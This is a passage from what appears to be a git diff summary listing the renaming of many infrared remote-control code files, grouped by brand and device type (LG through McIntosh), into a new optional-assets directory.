ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/DVD Player/44,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/DVD Player/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/DVR/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Plasma/1,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Plasma/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Satellite/247,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Sound Bar/44,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/TV/1,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LXI/TV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Classic music/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Classic music/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Classic music/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Surround Processor/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Surround Processor/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Linn/Surround Processor/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteOn/DVD Recorder/10,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/129,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/130,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/131,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/132,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/133,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/134,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/135,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/136,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/137,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/144,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/145,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/146,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/147,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/148,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/149,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/150,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/151,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/152,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/153,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/LiteTouch/Lighting Controller/255,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/DVD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/DVD Player/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/DVD Player/33,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/DVD Player/45,45.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Logitech/Unknown_HarmonyOne/30,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Logitech/Unknown_z5500/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Lumagen/Scaler/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Luxman/CD Player/204,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Luxman/Receiver/204,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Luxor/Unknown_DV405/67,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/M3 Electronic/Unknown_DVD-209/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MAGIC LIGHTING/Lighting/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MGA/VCR/87,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MISSION/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/MSI/Unknown_test/134,107.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/DSS/128,63.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnavox/VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Malata/DVD Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/DVD/69,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Plasma/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/12,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/176,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/21,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/26,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/39,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Receiver/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/144,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/24,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/24,24.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/24,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/TV/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Tuner/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Tuner/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Tuner/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Maxx/Plasma/32,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Maxx/Plasma/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/CD Player/202,149.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/Control System/202,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/McIntosh/Receiver/202,85.ir (100%) rename assets/{resources/infrared => 